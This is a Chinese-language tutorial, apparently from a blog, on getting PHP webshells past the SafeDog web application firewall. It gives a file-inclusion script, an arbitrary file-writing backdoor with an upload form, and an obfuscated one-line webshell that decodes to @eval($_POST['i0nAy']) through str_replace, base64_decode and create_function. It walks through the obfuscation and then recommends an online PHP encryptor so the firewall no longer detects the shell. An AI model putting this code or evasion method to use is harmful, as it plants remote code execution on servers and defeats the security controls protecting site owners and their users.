有这样一段php代码:

<?php
 $filename = $_GET['filename']; 
include($filename); 
?>

定义一个变量,以get方式接收的filename参数,赋值给$filename,在调用的时候包含变量$filename,访问这样的一个文件时,会遭到WAF安全狗的拦截,存在WAF限制规则的特征码,

 

 现有这样一段php代码:

<?
$path = $_POST['x'];
$text = $_POST['y'];
$file = fopen($path, "w+");
fwrite($file,$text);
fclose($file);
?>
<form action="" method="post">
读取当前文件路径:
<? echo $_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'];?></br>
保存路径:<input name="x" type="text" /><br>
写入内容:<br><textarea name="y" cols="90" rows="50"></textarea></br>
<input name="" type="submit" value="提交"/>

</form>

将这一段php代码访问后,

 

 发现可以正常解析到web访问,原因就是代码中没有WAF限制的特征码,所以能绕过检测机制,

一句话木马绕过WAF:

有这样一段php代码:

<?php 
$mt="JF9QT1N"; 
$ojj="QGV2YWwo";
$hsa="UWydpMGle";
$fnx="5BeSleleddKTs=";
$zk = str_replace("d","","sdtdrd_redpdldadcde"); 
$ef = $zk("z", "", "zbazsze64_zdzeczodze"); 
$dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn"); 
$zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); 
$zvm(); 
?>
<?

原理就是将一句话木马进行base64加密,分别赋值不同的变量,再由str_replace()函数做各种替换,再进行拼接,最终得到我们想要的payload,

str_replace():参数:("需要匹配的字符","替换字符","需要匹配的对象")

 

经过base64解密层层替换拼接得到最终执行代码:

$zk=str_replace("d","","sdtdrd_redpdldadcde")=str_replace    // $zk=str_replace
$ef=str_replace("z", "", "zbazsze64_zdzeczodze")=base64_decode   // $ef=base64_decode
$dva=str_replace("p","","pcprpepaptpe_fpupnpcptpipopn")=create_function  //$dva=create_function

$ojj.$mt.$hsa.$fnx=QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs=
str_replace(("le", "", "QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs=")=QGV2YWwoJF9QT1NUWydpMG5BeSddKTs=

base64_decode("QGV2YWwoJF9QT1NUWydpMG5BeSddKTs=")=@eval($_POST['i0nAy']);
create_function('',@eval($_POST['i0nAy']);)
$zvm(); 

将它生成一个txt文件,在WAF安全狗里面检测

 

 安全狗扫出了变形木马,在web访问时,肯定被安全狗拦下,

 

 这个时候,就要对php文件做处理,通过给它加密,绕过安全狗检测或变为安全狗检测不到的特征码,利用php在线加密:www.phpjm.net/encode.html

 

 php经过加密后,利用自带调试功能的firefox浏览器访问,

 

 

 可以看到,php文件已经成功访问,并且经过加密后安全狗检测也是不能发现它是危险代码

 

内容来源于网络如有侵权请私信删除